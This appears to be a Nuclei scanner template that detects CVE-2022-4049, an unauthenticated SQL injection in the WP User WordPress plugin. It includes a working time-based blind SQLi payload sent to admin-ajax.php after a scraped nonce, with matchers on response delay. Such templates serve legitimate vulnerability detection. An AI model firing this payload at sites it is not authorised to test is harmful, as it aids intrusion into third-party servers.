id: CVE-2022-4049 info: name: WP User <= 7.0 - Unauthenticated SQLi author: theamanrawat severity: critical description: | The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users. reference: - https://wpscan.com/vulnerability/9b0781e2-ad62-4308-bafc-d45b9a2472be - https://wordpress.org/plugins/wp-user/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4049 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-4049 cwe-id: CWE-89 epss-score: 0.02366 epss-percentile: 0.88623 cpe: cpe:2.3:a:wp_user_project:wp_user:*:*:*:*:*:wordpress:*:* metadata: verified: "true" max-request: 4 vendor: wp_user_project product: wp_user framework: wordpress publicwww-query: /wp-content/plugins/wp-user/ tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-user,unauth http: - raw: - | GET {{path}} HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpuser_group_action&group_action=x&wpuser_update_setting={{nonce}}&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM) attack: clusterbomb payloads: path: - "/index.php/user/" - "/user" stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - duration>=6 - status_code == 200 - contains(header_2, "text/html") - contains(body_2, 'Invalid Access') condition: and extractors: - type: regex name: nonce group: 1 regex: - '"wpuser_update_setting":"([0-9a-zA-Z]+)"' internal: true # digest: 490a00463044022043e4cf68dd16a0c204db5d9b59f3c03bcb3e2bbda59e58f31bcb3de767f06db2022071eb9c04630d89cb0c629bef9f869b05078ff975247618b9fea0044e478fcec1:922c64590222798bb761d5b6d8e72950